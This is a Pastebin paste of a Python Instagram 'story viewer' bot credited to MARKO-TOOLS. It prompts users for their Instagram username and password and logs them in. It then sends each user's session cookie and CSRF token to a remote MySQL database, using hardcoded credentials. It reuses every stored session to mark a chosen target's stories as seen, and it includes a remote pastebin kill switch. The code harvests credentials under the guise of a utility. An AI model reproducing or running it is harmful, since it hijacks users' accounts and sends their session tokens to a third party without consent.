Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # pip install pyTelegramBotAPI==3.7.7
- import os,sys
- import random,json,requests
- from time import sleep
- from uuid import uuid4
- import mysql.connector
- from time import sleep as s
- def cl():
- os.system("clear")
- E = '\033[1;31m'
- G = '\033[1;32m'
- S = '\033[1;33m'
- Z = '\033[1;31m' #احمر
- X = '\033[1;33m' #اصفر
- Z1 = '\033[2;31m' #احمر ثاني
- F = '\033[2;32m' #اخضر
- A = '\033[2;39m' #ازرق
- C = '\033[2;35m' #وردي
- B = '\033[2;36m'#سمائي
- Y = '\033[1;34m' #ازرق فاتح
- marko_logo = """
- \033[1;96m ------------------------
- \033[1;32m < COD BY MARKO-TOOLS >
- \033[1;96m ------------------------
- \033[1;91m __ __ _ ____ _ _____
- \033[1;92m | \/ | / \ | _ \| |/ / _ \
- \033[1;91m | |\/| | / _ \ | |_) | ' / | | |
- \033[1;92m | | | |/ ___ \| _ <| . \ |_| |
- \033[1;91m |_| |_/_/ \_\_| \_\_|\_\___/
- \033[1;93m _____ ___ ___ _ ____
- \033[1;92m |_ _/ _ \ / _ \| | / ___|
- \033[1;91m | || | | | | | | | \___ \
- \033[1;92m | || |_| | |_| | |___ ___) |
- \033[1;91m |_| \___/ \___/|_____|____/
- \033[1;32m--------------------------------------------------
- \033[1;95m
- AUTHOR : MARKO-TOOLS
- Telegram : @Marko_Py
- YOUTUBE : MARKO - TOOLS
- GITHUB : GITHUB.COM/MARKO-TOOLS
- \033[1;32m
- --------------------------------------------------
- """
- def a(z):
- for e in z:
- sys.stdout.write(e)
- sys.stdout.flush()
- s(260/20000)
- mydb = mysql.connector.connect(
- host = "remotemysql.com",
- user = "WTaUK7bNkM",
- passwd = "iMD7dgW9nG",
- database = "WTaUK7bNkM",
- )
- mycursor = mydb.cursor()
- def add_info(csrf,cookie,username):
- sql = f"INSERT INTO story(csrf , cookie , username) VALUES('{csrf}','{cookie}','{username}')"
- mycursor.execute(sql)
- mydb.commit()
- print("Done Add : ")
- def read_user(username):
- sql = "SELECT * FROM story"
- mycursor.execute(sql)
- file = mycursor.fetchall()
- for data in file:
- users = data[2]
- if username == users:
- return True
- else:
- return False
- def start(uuss):
- Done = 0
- Eroor = 0
- mydb2 = mysql.connector.connect(
- host = "remotemysql.com",
- user = "WTaUK7bNkM",
- passwd = "iMD7dgW9nG",
- database = "WTaUK7bNkM",
- )
- mycursor2 = mydb2.cursor()
- sql2 = "SELECT * FROM story"
- mycursor2.execute(sql2)
- file = mycursor2.fetchall()
- for data_sql in file:
- csrf = str(data_sql[0])
- cookie = str(data_sql[1])
- try:
- api = "https://pastebin.com/raw/f9sm9k95"
- req_api = requests.get(api).text
- if str("Marko") in str(req_api):
- pass
- else:
- os.system("clear")
- exit()
- hid = {
- 'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'accept-language':'en-US,en;q=0.9,ar;q=0.8',
- 'cookie': cookie,
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.47',}
- s = f'https://www.instagram.com/{uuss}/?__a=1'
- x = requests.get(s,headers=hid).json()
- iid = x['logging_page_id'].split('_')[1]
- surl = f'https://www.instagram.com/graphql/query/?query_hash=c9c56db64beb4c9dea2d17740d0259d9&variables=%7B%22reel_ids%22%3A%5B%22{iid}%22%5D%2C%22tag_names%22%3A%5B%5D%2C%22location_ids%22%3A%5B%5D%2C%22highlight_reel_ids%22%3A%5B%5D%2C%22precomposed_overlay%22%3Afalse%2C%22show_story_viewer_list%22%3Atrue%2C%22story_viewer_fetch_count%22%3A50%2C%22story_viewer_cursor%22%3A%22%22%2C%22stories_video_dash_manifest%22%3Afalse%7D'
- xx = requests.get(surl,headers=hid).json()
- story_count = len(xx["data"]["reels_media"][0]["items"])
- for i in range(0, story_count):
- id_story = xx["data"]["reels_media"][0]["items"][i]['id']
- taken_at_timestamp = xx["data"]["reels_media"][0]["items"][i]['taken_at_timestamp']
- stories_page = f"https://www.instagram.com/stories/reel/seen"
- headers = {
- 'accept': '*/*',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'en-US,en;q=0.9',
- 'content-length': '127',
- 'content-type': 'application/x-www-form-urlencoded',
- 'cookie': cookie,
- "origin": "https://www.instagram.com",
- "referer": f"https://www.instagram.com/stories/{uuss}/{id_story}/",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "same-origin",
- "user-agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
- "x-csrftoken": csrf,
- "x-ig-app-id": "936619743392459",
- "x-ig-www-claim": "hmac.AR3dC7naiVtTKkwrEY0hwTO9zj4kLxfvf4Srvp3wFyoZFvZV",
- "x-instagram-ajax": "d3d3aea32e75",
- "x-requested-with": "XMLHttpRequest"}
- data = {
- 'reelMediaId': id_story,
- 'reelMediaOwnerId': iid,
- 'reelId': iid,
- 'reelMediaTakenAt': taken_at_timestamp,
- 'viewSeenAt': taken_at_timestamp}
- xxx = requests.request("POST", stories_page, headers=headers, data=data).status_code
- if xxx == 200:
- Done+=1
- else:
- Eroor+=1
- os.system("clear")
- print(marko_logo)
- print(f"{E}[{S}!{E}] {B}Done : {G}{Done}")
- print(f"{E}[{S}!{E}] {B}Eroor : {E}{Eroor}")
- except:
- pass
- a(marko_logo)
- s(1.5)
- username = str(input(f"{E}[{S}!{E}] {B}Entar username : {G}"))
- s(1.5)
- password = str(input(f"{E}[{S}!{E}] {B}Entar password : {G}"))
- s(1.5)
- url = 'https://i.instagram.com/api/v1/accounts/login/'
- headers = {
- 'User-Agent': 'Instagram 113.0.0.39.122 Android (24/5.0; 515dpi; 1440x2416; huawei/google; Nexus 6P; angler; angler; en_US)',
- 'Accept': "*/*",
- 'Cookie': 'missing',
- 'Accept-Encoding': 'gzip, deflate',
- 'Accept-Language': 'en-US',
- 'X-IG-Capabilities': '3brTvw==',
- 'X-IG-Connection-Type': 'WIFI',
- 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Host': 'i.instagram.com'}
- uid = str(uuid4())
- data = {'uuid':uid,
- 'password':password,
- 'username':username,
- 'device_id':uid,
- 'from_reg':'false',
- '_csrftoken':'missing',
- 'login_attempt_countn':'0'}
- try:
- req = requests.post(url, headers=headers, data=data)
- if 'logged_in_user' in req.json():
- co = req.cookies
- coo = co.get_dict()
- csrf = coo['csrftoken']
- cookie = f"sessionid={coo['sessionid']};ds_user_id={coo['ds_user_id']};csrftoken={coo['csrftoken']};"
- ch = read_user(username)
- if ch == True:
- os.system("clear")
- a(E+" Existing Account ")
- os.system("exit")
- exit()
- else:
- add_info(csrf,cookie,username)
- a(G+" Done Login : ")
- os.system("clear")
- uuss = str(input(f"{E}[{S}!{E}] {B}Entar target : {G}"))
- start(uuss)
- else:
- print("\n\n")
- a(E+" Eroor Login \n"+S)
- print(req.text)
- exit()
- except:
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement